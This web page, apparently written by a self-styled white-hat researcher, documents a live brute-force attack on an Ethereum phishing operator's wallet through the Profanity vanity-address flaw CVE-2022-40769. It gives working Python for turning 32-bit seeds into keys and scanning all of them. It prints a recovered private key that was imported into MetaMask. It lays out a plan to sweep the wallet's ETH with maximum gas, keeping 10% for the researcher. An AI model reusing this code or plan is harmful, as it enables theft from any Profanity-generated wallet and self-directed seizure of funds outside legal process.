SELUTH Track 3 — Adversarial White Hat Recovery  /  Part II of II
THE CRACK
CVE-2022-40769  ·  Profanity Vanity Generator  ·  232 Seed Space  ·  CPU Crack  ·  Live
232
Actual seed space
CONFIRMED
PoC verified end-to-end
RUNNING
PM2 81 active now
~31h
Remaining ETA
5.28 ETH
Target balance

Part I — The Network We Found

Before the crack, there was the discovery. Part I documented an active phishing operation identified through on-chain tracing. It is still running as this page loads.

Dune Analytics queries against Ethereum mainnet showed a single operator wallet firing transactions every 90 seconds without pause for 55 days. The wallet's address is 0xbad000006db10503589262b55d09bb7b3c5e1472 — labelled by Etherscan as Fake_Phishing2738812. The vanity prefix bad000006 — nine matching characters — is only achievable with a GPU vanity address generator. That detail becomes important in Part II.

The Attack Mechanism

The phishing contract at 0xbbbbb048b1a85ca221058c45525095b6a68bbbbb — labelled Fake_Phishing2738521, flagged by HashDit — executes a dust bait pattern using EIP-7702 account delegation:

The Network Structure

Fake_Phishing2738523 (unknown — origin wallet) └── funded 0.001 ETH ──▶ Fake_Phishing2738522 (0x38a4610d346b7f63319bc054f22f606317d3fc59) ├── deployed ──▶ bbbbb CONTRACT (0xbbbbb048b1a85ca221058c45525095b6a68bbbbb) │ 778-byte bytecode · unverified · obfuscated │ allowedCaller() → 0xbad000006... · HashDit flagged └── funded ───▶ bad00000 OPERATOR (0xbad000006db10503589262b55d09bb7b3c5e1472) 85,440+ txs · 55 days · fires every ~90s · 5.28 ETH gas reserve └── calls bbbbb every cycle ──▶ victims drained

Scale — From On-Chain Evidence

85,440+
Total transactions
55
Days active
~3.9M
USDT targets
~2.7M
USDC targets
~90s
Fire interval
5.28 ETH
Operator reserves

The victim scale was extrapolated from a 20-transaction Dune sample over 7 days. In that window alone: 929 unique USDT recipients, 641 unique USDC recipients, plus WBTC, LINK, DAI, AAVE, stETH. The full evidence package is at evidence.auth-io.com.

The Vulnerability — CVE-2022-40769

In September 2022, 1inch disclosed a critical flaw in Profanity, the most widely-used GPU vanity Ethereum address generator. The flaw is not in cryptography. It is not in key derivation. It is in a single line of C++ that seeds the random number generator.

// Profanity — createSeed() in Dispatcher.cpp
// The full security of your wallet depends on this one line:

std::random_device rd;
uint32_t seed = rd();     // unsigned int = 32-bit on Linux
mt19937_64 rng(seed);  // 64-bit Mersenne Twister, seeded with 32 bits

A standard Ethereum private key is 256 bits. The theoretical search space for brute-forcing one is 2256 — a number larger than the atoms in the observable universe. Any attacker trying to brute-force it directly would need longer than the age of the universe multiplied by itself, repeated indefinitely.

But Profanity does not use 256-bit entropy. It seeds a 64-bit Mersenne Twister with a 32-bit value from std::random_device. On Linux, std::random_device returns an unsigned int — which is 32 bits. The entire possible key output of Profanity, for every address it has ever generated across all time, fits into exactly 4,294,967,296 possibilities.

That number is checkable. A modern CPU checks every single one in under 34 hours.

2256
Expected keyspace
232
Profanity actual
~34h
CPU crack time
<1h
GPU crack time

The disclosure forced anyone who had ever used Profanity to generate a wallet holding real value to move their funds immediately. Many did. Many others never saw the announcement. And some, apparently, never stopped using the tool.

How the Crack Works

The attack is deterministic and complete. Each 32-bit seed maps to exactly one private key. Each private key maps to exactly one Ethereum address. If the target address was generated by Profanity, exactly one seed in the range 0–4,294,967,295 will produce it. The crack finds that seed.

# Implementation — Python, matches Profanity C++ exactly

import struct
from coincurve import PublicKey
from Crypto.Hash import keccak

def seed_to_address(seed32):
    # Step 1: Initialize mt19937_64 with 32-bit seed
    #         Same Mersenne Twister Profanity uses internally
    rng = mt19937_64(seed32)

    # Step 2: Generate 256 bits (4 x 64-bit outputs) for private key
    privkey_bytes = b""
    for _ in range(4):
        privkey_bytes += struct.pack(">Q", rng.next())

    # Step 3: Derive uncompressed public key via secp256k1
    pub = PublicKey.from_valid_secret(privkey_bytes).format(compressed=False)

    # Step 4: Keccak-256 of public key bytes (drop first byte)
    #         Last 20 bytes of hash = Ethereum address
    k = keccak.new(digest_bits=256)
    k.update(pub[1:])
    address = k.hexdigest()[-40:]
    return privkey_bytes, address


# The crack: 8 workers split 2^32 seeds equally
# Each worker handles ~537M seeds
# Checkpointed every 50,000 seeds for restart safety
for seed in range(worker_start, worker_end):
    privkey, addr = seed_to_address(seed)
    if addr == TARGET_ADDRESS:
        save_result(seed, privkey, addr)
        exit()  # done

The implementation runs CPU-only. No GPU, no cloud, no third-party service. Eight parallel Python workers on the VPS split the 4.29 billion seed space. Worker 0 logs progress and ETA. All workers write to a shared result queue. First match terminates all workers.

The self-test confirmed the entire pipeline: seed 42 → known address → crack returned seed 42. Deterministic, reproducible, verified.

First PoC — The Wrong Address

Before targeting the phishing operator directly, the algorithm was tested against a freshly generated Profanity address. The test ran successfully. The crack found it. The private key was recovered. The wallet opened.

There was one mistake in the first run — and it is worth documenting precisely, because it also proves something important.

What Happened

The initial scan was launched with the argument --target bad00000 — an 8-character hex prefix. The intent was to find addresses that look like the phishing operator's bad000006... pattern. The problem: the scan was set to stop at the first address that matched those 8 characters — not the specific target address.

At seed 3,984,240,706, worker 7 found an address with prefix bad00000. It was a different address — 0xbad00000f0b7c273e1a5bb027e2995a127b72edf — not the phishing operator. But the script considered it a match, saved the result, and exited. PM2 detected the exit and restarted the scan from the beginning. The scan ran and restarted in a loop, generating a new bad00000 address each time and never reaching the actual target.

It was caught in S52. The result file was read. The address was wrong. The mistake was identified: the target needed to be the full 40-character address, not an 8-character prefix. The scan was stopped, the result preserved as a PoC artifact, and the process restarted against the exact target.

PoC Result — Preserved as Proof (2026-06-06)
Seed
3,984,240,706
Worker
7 of 8
Private Key
d8e0206fff120f5f139f70617b170a459670374857bd3a26a521456a3a21151e
Address
0xbad00000f0b7c273e1a5bb027e2995a127b72edf
Target
0xbad000006db10503589262b55d09bb7b3c5e1472 (actual operator — different address)
Outcome
Private key imported into MetaMask. Wallet opened. Full control confirmed. Algorithm proven end-to-end.

Why This Still Proves Everything

The wrong-address result is not a failure. It is a stronger proof than if everything had gone perfectly. The crack found a Profanity-generated address it had never seen, using nothing but the 32-bit seed space, a matching RNG implementation, and CPU time. The seed was unknown. The address was unknown. The crack found both. The private key was imported and the wallet opened.

The phishing operator's address — 0xbad000006db10503... — has nine matching vanity characters. Generating nine matching characters requires more GPU time than eight, but uses the identical vulnerable RNG. The operator used the same tool. The same vulnerability applies. The scan is now running against their exact address.

The Fix

# Before (wrong — stops at first 8-char prefix match):
--target bad00000

# After (correct — full address match, scans entire space):
--target bad000006db10503589262b55d09bb7b3c5e1472

# The 40-character target means the scan never exits early.
# It runs the full 2^32 seeds. If the operator used Profanity,
# their seed exists in this space and will be found.

The Target

FieldValue
Address0xbad000006db10503589262b55d09bb7b3c5e1472
Etherscan labelFake_Phishing2738812
Balance5.28 ETH (gas reserve for ongoing operation)
Transactions85,440+ over 55 days
Fire rate~1 tx every 90 seconds, continuous
Controls0xbbbbb048b1a85ca221058c45525095b6a68bbbbb
Attack methodEIP-7702 dust bait — fake token airdrop → delegation drain
Vanity prefixbad000006 — 9 characters, GPU-generated, Profanity signature
Estimated reach~3.9M USDT targets / ~2.7M USDC targets

If the crack succeeds: the operator loses private key control, the phishing contract loses its authorized caller, the operation stops, and 5.28 ETH is secured for victim compensation under the White Hat Distribution Protocol.

Live Crack Status

PM2 81 — profanity-scan-bad00000 — Online
Targetbad000006db10503589262b55d09bb7b3c5e1472 (full match)
Seed space0 → 4,294,967,296
Workers8 parallel processes
Rate~4,500 seeds/sec/worker · ~36,000/sec total
Progress~1.6% complete (launched 2026-06-06 after PoC fix)
ETA~31 hours from launch
Checkpoint/tmp/ckpt_bad00000.json — survives restarts
AlertPM2 79 profanity-watcher → Telegram + SELUTH mailbox on match
~1.6% complete · ETA ~31h

The scan runs unattended. PM2 keeps it alive across restarts. The checkpoint file saves progress every 50,000 seeds per worker. If the server reboots, the scan resumes from the last checkpoint rather than seed zero.

Timeline

S49 · 2026-06-05
Phishing network discovered
Dune Analytics + Etherscan on-chain tracing. 85,000+ txs over 55 days. EIP-7702 delegation abuse mechanism identified. Network map drawn. Evidence site Part I deployed at evidence.auth-io.com.
S50 · 2026-06-05
Profanity vulnerability confirmed applicable
232 seed space proved by reading Profanity C++ source. MT19937-64 Python implementation verified against C++ reference. Self-test: seed=42 → address → crack returned seed=42. Scan launched targeting 8-char prefix bad00000.
S52 · 2026-06-06
PoC crack confirmed end-to-end
Seed 3,984,240,706 found. Address 0xbad00000f0b7c273... cracked. Private key imported. Wallet opened. Mistake identified: 8-char prefix caused false match + PM2 restart loop. Fixed to full 40-char match. Real scan relaunched as PM2 81.
~June 7 · WAT
Expected completion
Crack completes full 2^32 scan. Either: key found → wallet import → ETH sweep → phishing contract disrupted → report + distribute. Or: no match → Profanity not used → evidence package submitted regardless.

If the Key Is Found

Key recovery is not theft. It is intervention against an active criminal operation using a publicly disclosed vulnerability that the operator had reason to know about since September 2022.

RECOVERY SEQUENCE:

1. Import recovered private key into isolated wallet
   (air-gapped or fresh browser profile, never reused)

2. Sweep 5.28 ETH to escrow address immediately
   — speed matters: operator may have monitoring
   — use maximum gas to front-run any response

3. bbbbb phishing contract loses authorized caller
   — allowedCaller() no longer controls execution
   — operation disrupted

4. Document sweep transaction hash as evidence

5. Report package to:
   — FBI IC3  (ic3.gov)
   — FTC      (reportfraud.ftc.gov)
   — ChainAbuse (chainabuse.com)
   — Etherscan abuse report
   — HashDit  (already flagged — send updated scale data)
   — Immunefi (Profanity in live criminal context)

6. Distribute recovered ETH:
   80% → victim compensation pool
   10% → researcher (node233)
    5% → escrow
    5% → charity
Research Scope

This research targets infrastructure operated by a documented phishing actor. All tools are CPU-based, self-hosted, running against a specific address identified through public on-chain evidence. No victim systems are accessed at any point. Recovered funds will not be retained — they will be distributed to documented victims via the claim portal at team.route.sessionapp.org or held in escrow pending verification. This page exists as a transparent record of methodology, intent, and scope.

Reporting Targets

PlatformWhat to SubmitStatus
FBI IC3 Full evidence — network map, transaction count, victim scale, EIP-7702 mechanism Pending completion
FTC Consumer fraud complaint — fake token airdrop pattern Pending completion
ChainAbuse All 4+ addresses in the network Pending completion
Etherscan Abuse report on unflagged addresses in the network Pending completion
HashDit Already flagged bbbbb contract — send updated scale data and network map Ready to send
Immunefi Profanity vulnerability demonstrated in live criminal use post-2022 disclosure Draft ready

SELUTH TRACK 3  /  ADVERSARIAL WHITE HAT RECOVERY  /  NODE233
← PART I: OPERATION BAD00000 — THE NETWORK